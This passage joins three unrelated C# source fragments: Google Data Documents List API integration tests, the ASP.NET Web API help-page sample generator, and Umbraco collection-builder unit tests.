sw.WriteLine("foo,bar,baz");
sw.WriteLine("1,2,3");
sw.Close();
}
DocumentsService service = new DocumentsService(ApplicationName);
if (userName != null)
{
service.Credentials = new GDataCredentials(userName, passWord);
}
service.RequestFactory = factory;
//pick a unique document name
string documentTitle = "Simple " + Guid.NewGuid();
DocumentEntry entry = service.UploadDocument(tempFile, documentTitle);
Assert.IsNotNull(entry, "Should get a valid entry back from the server.");
Assert.AreEqual(documentTitle, entry.Title.Text, "Title on document should be what we provided.");
Assert.IsTrue(entry.IsSpreadsheet, "What we uploaded should come back as a spreadsheet document type.");
//try to delete the document we created
entry.Delete();
//clean up the file we created
File.Delete(tempFile);
}
//////////////////////////////////////////////////////////////////////
/// <summary>runs an authentication test</summary>
//////////////////////////////////////////////////////////////////////
[Test]
public void GoogleAuthenticationTest()
{
Tracing.TraceMsg("Entering Documents List Authentication Test");
DocumentsListQuery query = new DocumentsListQuery();
DocumentsService service = new DocumentsService(ApplicationName);
if (userName != null)
{
service.Credentials = new GDataCredentials(userName, passWord);
}
service.RequestFactory = factory;
DocumentsFeed feed = service.Query(query);
ObjectModelHelper.DumpAtomObject(feed, CreateDumpFileName("AuthenticationTest"));
service.Credentials = null;
}
/// <summary>
/// tests to verify that an acl was detected
/// </summary>
[Test]
public void ModelTestACLs()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
foreach (Document x in feed.Entries)
{
Assert.IsTrue(x != null, "We should have something");
Assert.IsNotNull(x.AccessControlList);
Feed<Acl> f = r.Get<Acl>(x.AccessControlList);
foreach (Acl a in f.Entries)
{
Assert.IsNotNull(a.Role);
Assert.IsNotNull(a.Scope);
Assert.IsNotNull(a.Scope.Type);
Assert.IsNotNull(a.Scope.Value);
}
}
}
/// <summary>
/// tests moving a document in and out of folders
/// </summary>
[Test]
public void ModelTestArbitraryDownload()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
Feed<Document> feed = r.GetEverything();
foreach (Document d in feed.Entries)
{
Stream res = r.Download(d, null);
Assert.IsNotNull(res, "The download stream should not be null");
}
foreach (Document d in feed.Entries)
{
Stream res = r.Download(d, "pdf");
Assert.IsNotNull(res, "The download stream should not be null");
}
}
/// <summary>
/// tests document download
/// </summary>
[Test]
public void ModelTestDocumentDownload()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
settings.AutoPaging = true;
DocumentsRequest r = new DocumentsRequest(settings);
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
foreach (Document x in feed.Entries)
{
Assert.IsTrue(x != null, "We should have something");
Stream ret = r.Download(x, Document.DownloadType.pdf);
ret.Close();
}
}
/// <summary>
/// tests etag refresh on an entry level
/// </summary>
[Test]
public void ModelTestEntryETagRefresh()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
Document d = null;
foreach (Document x in feed.Entries)
{
Assert.IsTrue(x != null, "We should have something");
d = x;
}
Assert.IsTrue(d != null, "We should have something");
// now this should result in a notmodified
try
{
Document refresh = r.Retrieve(d);
Assert.IsTrue(refresh == null, "we should not be here");
}
catch (GDataNotModifiedException g)
{
Assert.IsTrue(g != null);
}
}
/// <summary>
/// tests etag refresh on a feed level
/// </summary>
[Ignore("Doclist updates timestamps on feeds based on access, so etags are useless here")]
[Test]
public void ModelTestFeedETagRefresh()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
foreach (Document d in feed.Entries)
{
Assert.IsTrue(d != null, "We should have something");
}
Feed<Document> reload = r.Get(feed, FeedRequestType.Refresh);
// now this should result in a notmodified
try
{
foreach (Document d in reload.Entries)
{
Assert.IsTrue(d == null, "We should not get here");
}
}
catch (GDataNotModifiedException g)
{
Assert.IsTrue(g != null);
}
}
/// <summary>
/// tests etag refresh on an entry level
/// </summary>
[Test]
public void ModelTestFolders()
{
const string testTitle = "That is a new & weird subfolder";
const string parentTitle = "Granddaddy folder";
string parentID;
string folderID;
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
Document folder = new Document();
folder.Type = Document.DocumentType.Folder;
folder.Title = testTitle;
/// first create the folder
folder = r.CreateDocument(folder);
Assert.IsTrue(folder.Title == testTitle);
r.Delete(folder);
// let's create a hierarchy
Document parent = new Document();
parent.Type = Document.DocumentType.Folder;
parent.Title = parentTitle;
parent = r.CreateDocument(parent);
parentID = parent.Id;
// create the child
folder = new Document();
folder.Type = Document.DocumentType.Folder;
folder.Title = testTitle;
/// first create the folder
folder = r.CreateDocument(folder);
folderID = folder.Id;
// now move the folder into the parent
r.MoveDocumentTo(parent, folder);
// now get the folder list
Feed<Document> folders = r.GetFolders();
int iVerify = 2;
List<Document> list = new List<Document>();
foreach (Document f in folders.Entries)
{
list.Add(f);
}
bool found = false;
foreach (Document f in list)
{
Assert.IsTrue(f.Type == Document.DocumentType.Folder, "this should be a folder");
if (f.Id == parentID)
{
iVerify--;
}
if (f.Id == folderID)
{
iVerify--;
// let's find the guy again.
foreach (Document d in list)
{
if (f.ParentFolders.Contains(d.Self))
{
found = true;
break;
}
}
}
}
Assert.IsTrue(found, "we did not find the parent folder");
Assert.IsTrue(iVerify == 0, "We should have found both folders");
}
/// <summary>
/// tests including acls during feed download
/// </summary>
[Test]
public void ModelTestIncludeACLs()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
r.BaseUri = DocumentsListQuery.documentsAclUri;
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
foreach (Document x in feed.Entries)
{
Assert.IsTrue(x != null, "We should have something");
Assert.IsNotNull(x.AccessControlList);
}
}
/// <summary>
/// tests moving a document in and out of folders
/// </summary>
[Test]
public void ModelTestMoveDocuments()
{
const string folderTitle = "That is a new & weird folder";
const string docTitle = "that's the doc";
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
// settings.PageSize = 15;
DocumentsRequest r = new DocumentsRequest(settings);
Document folder = new Document();
folder.Type = Document.DocumentType.Folder;
folder.Title = folderTitle;
/// first create the folder
folder = r.CreateDocument(folder);
Assert.IsTrue(folder.Title == folderTitle);
// let's create a document
Document doc = new Document();
doc.Type = Document.DocumentType.Document;
doc.Title = docTitle;
doc = r.CreateDocument(doc);
// create the child
r.MoveDocumentTo(folder, doc);
// get the folder content list
Feed<Document> children = r.GetFolderContent(folder);
bool fFound = false;
foreach (Document child in children.Entries)
{
if (child.ResourceId == doc.ResourceId)
{
fFound = true;
break;
}
}
Assert.IsTrue(fFound, "should have found the document in the folder");
}
/// <summary>
/// tests document download
/// </summary>
[Test]
public void ModelTestSSL()
{
RequestSettings settings = new RequestSettings(ApplicationName, userName, passWord);
settings.AutoPaging = true;
settings.UseSSL = true;
DocumentsRequest r = new DocumentsRequest(settings);
// this returns the server default answer
Feed<Document> feed = r.GetDocuments();
foreach (Document x in feed.Entries)
{
Assert.IsTrue(x != null, "We should have something");
Stream ret = r.Download(x, Document.DownloadType.pdf);
ret.Close();
}
}
} /////////////////////////////////////////////////////////////////////////////
}
| |
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.IO;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Formatting;
using System.Net.Http.Headers;
using System.Web.Http.Description;
using System.Xml.Linq;
using Newtonsoft.Json;
namespace SecMS.Areas.HelpPage
{
/// <summary>
/// This class will generate the samples for the help page.
/// </summary>
public class HelpPageSampleGenerator
{
/// <summary>
/// Initializes a new instance of the <see cref="HelpPageSampleGenerator"/> class.
/// </summary>
public HelpPageSampleGenerator()
{
ActualHttpMessageTypes = new Dictionary<HelpPageSampleKey, Type>();
ActionSamples = new Dictionary<HelpPageSampleKey, object>();
SampleObjects = new Dictionary<Type, object>();
SampleObjectFactories = new List<Func<HelpPageSampleGenerator, Type, object>>
{
DefaultSampleObjectFactory,
};
}
/// <summary>
/// Gets CLR types that are used as the content of <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/>.
/// </summary>
public IDictionary<HelpPageSampleKey, Type> ActualHttpMessageTypes { get; internal set; }
/// <summary>
/// Gets the objects that are used directly as samples for certain actions.
/// </summary>
public IDictionary<HelpPageSampleKey, object> ActionSamples { get; internal set; }
/// <summary>
/// Gets the objects that are serialized as samples by the supported formatters.
/// </summary>
public IDictionary<Type, object> SampleObjects { get; internal set; }
/// <summary>
/// Gets factories for the objects that the supported formatters will serialize as samples. Processed in order,
/// stopping when the factory successfully returns a non-<see langref="null"/> object.
/// </summary>
/// <remarks>
/// Collection includes just <see cref="ObjectGenerator.GenerateObject(Type)"/> initially. Use
/// <code>SampleObjectFactories.Insert(0, func)</code> to provide an override and
/// <code>SampleObjectFactories.Add(func)</code> to provide a fallback.</remarks>
[SuppressMessage("Microsoft.Design", "CA1006:DoNotNestGenericTypesInMemberSignatures",
Justification = "This is an appropriate nesting of generic types")]
public IList<Func<HelpPageSampleGenerator, Type, object>> SampleObjectFactories { get; private set; }
/// <summary>
/// Gets the request body samples for a given <see cref="ApiDescription"/>.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <returns>The samples keyed by media type.</returns>
public IDictionary<MediaTypeHeaderValue, object> GetSampleRequests(ApiDescription api)
{
return GetSample(api, SampleDirection.Request);
}
/// <summary>
/// Gets the response body samples for a given <see cref="ApiDescription"/>.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <returns>The samples keyed by media type.</returns>
public IDictionary<MediaTypeHeaderValue, object> GetSampleResponses(ApiDescription api)
{
return GetSample(api, SampleDirection.Response);
}
/// <summary>
/// Gets the request or response body samples.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param>
/// <returns>The samples keyed by media type.</returns>
public virtual IDictionary<MediaTypeHeaderValue, object> GetSample(ApiDescription api, SampleDirection sampleDirection)
{
if (api == null)
{
throw new ArgumentNullException("api");
}
string controllerName = api.ActionDescriptor.ControllerDescriptor.ControllerName;
string actionName = api.ActionDescriptor.ActionName;
IEnumerable<string> parameterNames = api.ParameterDescriptions.Select(p => p.Name);
Collection<MediaTypeFormatter> formatters;
Type type = ResolveType(api, controllerName, actionName, parameterNames, sampleDirection, out formatters);
var samples = new Dictionary<MediaTypeHeaderValue, object>();
// Use the samples provided directly for actions
var actionSamples = GetAllActionSamples(controllerName, actionName, parameterNames, sampleDirection);
foreach (var actionSample in actionSamples)
{
samples.Add(actionSample.Key.MediaType, WrapSampleIfString(actionSample.Value));
}
// Do the sample generation based on formatters only if an action doesn't return an HttpResponseMessage.
// Here we cannot rely on formatters because we don't know what's in the HttpResponseMessage, it might not even use formatters.
if (type != null && !typeof(HttpResponseMessage).IsAssignableFrom(type))
{
object sampleObject = GetSampleObject(type);
foreach (var formatter in formatters)
{
foreach (MediaTypeHeaderValue mediaType in formatter.SupportedMediaTypes)
{
if (!samples.ContainsKey(mediaType))
{
object sample = GetActionSample(controllerName, actionName, parameterNames, type, formatter, mediaType, sampleDirection);
// If no sample found, try generate sample using formatter and sample object
if (sample == null && sampleObject != null)
{
sample = WriteSampleObjectUsingFormatter(formatter, sampleObject, type, mediaType);
}
samples.Add(mediaType, WrapSampleIfString(sample));
}
}
}
}
return samples;
}
/// <summary>
/// Search for samples that are provided directly through <see cref="ActionSamples"/>.
/// </summary>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
/// <param name="type">The CLR type.</param>
/// <param name="formatter">The formatter.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or for a response.</param>
/// <returns>The sample that matches the parameters.</returns>
public virtual object GetActionSample(string controllerName, string actionName, IEnumerable<string> parameterNames, Type type, MediaTypeFormatter formatter, MediaTypeHeaderValue mediaType, SampleDirection sampleDirection)
{
object sample;
// First, try to get the sample provided for the specified mediaType, sampleDirection, controllerName, actionName and parameterNames.
// If not found, try to get the sample provided for the specified mediaType, sampleDirection, controllerName and actionName regardless of the parameterNames.
// If still not found, try to get the sample provided for the specified mediaType and type.
// Finally, try to get the sample provided for the specified mediaType.
if (ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, parameterNames), out sample) ||
ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, sampleDirection, controllerName, actionName, new[] { "*" }), out sample) ||
ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType, type), out sample) ||
ActionSamples.TryGetValue(new HelpPageSampleKey(mediaType), out sample))
{
return sample;
}
return null;
}
/// <summary>
/// Gets the sample object that will be serialized by the formatters.
/// First, it will look at the <see cref="SampleObjects"/>. If no sample object is found, it will try to create
/// one using <see cref="DefaultSampleObjectFactory"/> (which wraps an <see cref="ObjectGenerator"/>) and other
/// factories in <see cref="SampleObjectFactories"/>.
/// </summary>
/// <param name="type">The type.</param>
/// <returns>The sample object.</returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes",
Justification = "Even if all items in SampleObjectFactories throw, problem will be visible as missing sample.")]
public virtual object GetSampleObject(Type type)
{
object sampleObject;
if (!SampleObjects.TryGetValue(type, out sampleObject))
{
// No specific object available, try our factories.
foreach (Func<HelpPageSampleGenerator, Type, object> factory in SampleObjectFactories)
{
if (factory == null)
{
continue;
}
try
{
sampleObject = factory(this, type);
if (sampleObject != null)
{
break;
}
}
catch
{
// Ignore any problems encountered in the factory; go on to the next one (if any).
}
}
}
return sampleObject;
}
/// <summary>
/// Resolves the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <returns>The type.</returns>
public virtual Type ResolveHttpRequestMessageType(ApiDescription api)
{
string controllerName = api.ActionDescriptor.ControllerDescriptor.ControllerName;
string actionName = api.ActionDescriptor.ActionName;
IEnumerable<string> parameterNames = api.ParameterDescriptions.Select(p => p.Name);
Collection<MediaTypeFormatter> formatters;
return ResolveType(api, controllerName, actionName, parameterNames, SampleDirection.Request, out formatters);
}
/// <summary>
/// Resolves the type of the action parameter or return value when <see cref="HttpRequestMessage"/> or <see cref="HttpResponseMessage"/> is used.
/// </summary>
/// <param name="api">The <see cref="ApiDescription"/>.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
/// <param name="sampleDirection">The value indicating whether the sample is for a request or a response.</param>
/// <param name="formatters">The formatters.</param>
[SuppressMessage("Microsoft.Design", "CA1021:AvoidOutParameters", Justification = "This is only used in advanced scenarios.")]
public virtual Type ResolveType(ApiDescription api, string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection, out Collection<MediaTypeFormatter> formatters)
{
if (!Enum.IsDefined(typeof(SampleDirection), sampleDirection))
{
throw new InvalidEnumArgumentException("sampleDirection", (int)sampleDirection, typeof(SampleDirection));
}
if (api == null)
{
throw new ArgumentNullException("api");
}
Type type;
if (ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, parameterNames), out type) ||
ActualHttpMessageTypes.TryGetValue(new HelpPageSampleKey(sampleDirection, controllerName, actionName, new[] { "*" }), out type))
{
// Re-compute the supported formatters based on type
Collection<MediaTypeFormatter> newFormatters = new Collection<MediaTypeFormatter>();
foreach (var formatter in api.ActionDescriptor.Configuration.Formatters)
{
if (IsFormatSupported(sampleDirection, formatter, type))
{
newFormatters.Add(formatter);
}
}
formatters = newFormatters;
}
else
{
switch (sampleDirection)
{
case SampleDirection.Request:
ApiParameterDescription requestBodyParameter = api.ParameterDescriptions.FirstOrDefault(p => p.Source == ApiParameterSource.FromBody);
type = requestBodyParameter == null ? null : requestBodyParameter.ParameterDescriptor.ParameterType;
formatters = api.SupportedRequestBodyFormatters;
break;
case SampleDirection.Response:
default:
type = api.ResponseDescription.ResponseType ?? api.ResponseDescription.DeclaredType;
formatters = api.SupportedResponseFormatters;
break;
}
}
return type;
}
/// <summary>
/// Writes the sample object using formatter.
/// </summary>
/// <param name="formatter">The formatter.</param>
/// <param name="value">The value.</param>
/// <param name="type">The type.</param>
/// <param name="mediaType">Type of the media.</param>
/// <returns></returns>
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "The exception is recorded as InvalidSample.")]
public virtual object WriteSampleObjectUsingFormatter(MediaTypeFormatter formatter, object value, Type type, MediaTypeHeaderValue mediaType)
{
if (formatter == null)
{
throw new ArgumentNullException("formatter");
}
if (mediaType == null)
{
throw new ArgumentNullException("mediaType");
}
object sample = String.Empty;
MemoryStream ms = null;
HttpContent content = null;
try
{
if (formatter.CanWriteType(type))
{
ms = new MemoryStream();
content = new ObjectContent(type, value, formatter, mediaType);
formatter.WriteToStreamAsync(type, value, ms, content, null).Wait();
ms.Position = 0;
StreamReader reader = new StreamReader(ms);
string serializedSampleString = reader.ReadToEnd();
if (mediaType.MediaType.ToUpperInvariant().Contains("XML"))
{
serializedSampleString = TryFormatXml(serializedSampleString);
}
else if (mediaType.MediaType.ToUpperInvariant().Contains("JSON"))
{
serializedSampleString = TryFormatJson(serializedSampleString);
}
sample = new TextSample(serializedSampleString);
}
else
{
sample = new InvalidSample(String.Format(
CultureInfo.CurrentCulture,
"Failed to generate the sample for media type '{0}'. Cannot use formatter '{1}' to write type '{2}'.",
mediaType,
formatter.GetType().Name,
type.Name));
}
}
catch (Exception e)
{
sample = new InvalidSample(String.Format(
CultureInfo.CurrentCulture,
"An exception has occurred while using the formatter '{0}' to generate sample for media type '{1}'. Exception message: {2}",
formatter.GetType().Name,
mediaType.MediaType,
UnwrapException(e).Message));
}
finally
{
if (ms != null)
{
ms.Dispose();
}
if (content != null)
{
content.Dispose();
}
}
return sample;
}
internal static Exception UnwrapException(Exception exception)
{
AggregateException aggregateException = exception as AggregateException;
if (aggregateException != null)
{
return aggregateException.Flatten().InnerException;
}
return exception;
}
// Default factory for sample objects
private static object DefaultSampleObjectFactory(HelpPageSampleGenerator sampleGenerator, Type type)
{
// Try to create a default sample object
ObjectGenerator objectGenerator = new ObjectGenerator();
return objectGenerator.GenerateObject(type);
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")]
private static string TryFormatJson(string str)
{
try
{
object parsedJson = JsonConvert.DeserializeObject(str);
return JsonConvert.SerializeObject(parsedJson, Formatting.Indented);
}
catch
{
// can't parse JSON, return the original string
return str;
}
}
[SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes", Justification = "Handling the failure by returning the original string.")]
private static string TryFormatXml(string str)
{
try
{
XDocument xml = XDocument.Parse(str);
return xml.ToString();
}
catch
{
// can't parse XML, return the original string
return str;
}
}
private static bool IsFormatSupported(SampleDirection sampleDirection, MediaTypeFormatter formatter, Type type)
{
switch (sampleDirection)
{
case SampleDirection.Request:
return formatter.CanReadType(type);
case SampleDirection.Response:
return formatter.CanWriteType(type);
}
return false;
}
private IEnumerable<KeyValuePair<HelpPageSampleKey, object>> GetAllActionSamples(string controllerName, string actionName, IEnumerable<string> parameterNames, SampleDirection sampleDirection)
{
HashSet<string> parameterNamesSet = new HashSet<string>(parameterNames, StringComparer.OrdinalIgnoreCase);
foreach (var sample in ActionSamples)
{
HelpPageSampleKey sampleKey = sample.Key;
if (String.Equals(controllerName, sampleKey.ControllerName, StringComparison.OrdinalIgnoreCase) &&
String.Equals(actionName, sampleKey.ActionName, StringComparison.OrdinalIgnoreCase) &&
(sampleKey.ParameterNames.SetEquals(new[] { "*" }) || parameterNamesSet.SetEquals(sampleKey.ParameterNames)) &&
sampleDirection == sampleKey.SampleDirection)
{
yield return sample;
}
}
}
private static object WrapSampleIfString(object sample)
{
string stringSample = sample as string;
if (stringSample != null)
{
return new TextSample(stringSample);
}
return sample;
}
}
}
| |
// Copyright (c) Umbraco.
// See LICENSE for more details.
using System;
using System.Collections.Generic;
using System.Linq;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
using Moq;
using NUnit.Framework;
using Umbraco.Cms.Core.Composing;
using Umbraco.Cms.Core.DependencyInjection;
using Umbraco.Cms.Tests.UnitTests.TestHelpers;
namespace Umbraco.Cms.Tests.UnitTests.Umbraco.Core.Composing
{
[TestFixture]
public class CollectionBuildersTests
{
private IUmbracoBuilder _composition;
[SetUp]
public void Setup()
{
IServiceCollection register = TestHelper.GetServiceCollection();
_composition = new UmbracoBuilder(register, Mock.Of<IConfiguration>(), TestHelper.GetMockedTypeLoader());
}
[TearDown]
public void TearDown()
{
}
[Test]
public void ContainsTypes()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsFalse(builder.Has<Resolved3>());
//// Assert.IsFalse(col.ContainsType<Resolved4>()); // does not compile
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved2));
}
[Test]
public void CanClearBuilderBeforeCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
builder.Clear();
Assert.IsFalse(builder.Has<Resolved1>());
Assert.IsFalse(builder.Has<Resolved2>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col);
}
[Test]
public void CannotClearBuilderOnceCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
Assert.Throws<InvalidOperationException>(() => builder.Clear());
}
[Test]
public void CanAppendToBuilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>();
builder.Append<Resolved1>();
builder.Append<Resolved2>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsFalse(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved2));
}
[Test]
public void CannotAppendToBuilderOnceCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
Assert.Throws<InvalidOperationException>(() => builder.Append<Resolved1>());
}
[Test]
public void CanAppendDuplicateToBuilderAndDeDuplicate()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>();
builder.Append<Resolved1>();
builder.Append<Resolved1>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1));
}
[Test]
public void CannotAppendInvalidTypeToBUilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>();
////builder.Append<Resolved4>(); // does not compile
Assert.Throws<InvalidOperationException>(() => builder.Append(new[] { typeof(Resolved4) }));
}
[Test]
public void CanRemoveFromBuilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.Remove<Resolved2>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsFalse(builder.Has<Resolved2>());
Assert.IsFalse(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1));
}
[Test]
public void CanRemoveMissingFromBuilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.Remove<Resolved3>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved2));
}
[Test]
public void CannotRemoveFromBuilderOnceCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
Assert.Throws<InvalidOperationException>(() => builder.Remove<Resolved2>());
}
[Test]
public void CanInsertIntoBuilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.Insert<Resolved3>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsTrue(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved3), typeof(Resolved1), typeof(Resolved2));
}
[Test]
public void CannotInsertIntoBuilderOnceCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
Assert.Throws<InvalidOperationException>(() => builder.Insert<Resolved3>());
}
[Test]
public void CanInsertDuplicateIntoBuilderAndDeDuplicate()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.Insert<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved2), typeof(Resolved1));
}
[Test]
public void CanInsertIntoEmptyBuilder()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>();
builder.Insert<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved2));
}
[Test]
public void CannotInsertIntoBuilderAtWrongIndex()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
Assert.Throws<ArgumentOutOfRangeException>(() => builder.Insert<Resolved3>(99));
Assert.Throws<ArgumentOutOfRangeException>(() => builder.Insert<Resolved3>(-1));
}
[Test]
public void CanInsertIntoBuilderBefore()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.InsertBefore<Resolved2, Resolved3>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsTrue(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved3), typeof(Resolved2));
}
[Test]
public void CanInsertIntoBuilderAfter()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.InsertAfter<Resolved1, Resolved3>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsTrue(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved3), typeof(Resolved2));
}
[Test]
public void CanInsertIntoBuilderAfterLast()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.InsertAfter<Resolved2, Resolved3>();
Assert.IsTrue(builder.Has<Resolved1>());
Assert.IsTrue(builder.Has<Resolved2>());
Assert.IsTrue(builder.Has<Resolved3>());
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved1), typeof(Resolved2), typeof(Resolved3));
}
[Test]
public void CannotInsertIntoBuilderBeforeOnceCollectionIsCreated()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
Assert.Throws<InvalidOperationException>(() =>
builder.InsertBefore<Resolved2, Resolved3>());
}
[Test]
public void CanInsertDuplicateIntoBuilderBeforeAndDeDuplicate()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>()
.Append<Resolved2>()
.InsertBefore<Resolved1, Resolved2>();
IServiceProvider factory = _composition.CreateServiceProvider();
TestCollection col = builder.CreateCollection(factory);
AssertCollection(col, typeof(Resolved2), typeof(Resolved1));
}
[Test]
public void CannotInsertIntoBuilderBeforeMissing()
{
TestCollectionBuilder builder = _composition.WithCollectionBuilder<TestCollectionBuilder>()
.Append<Resolved1>();
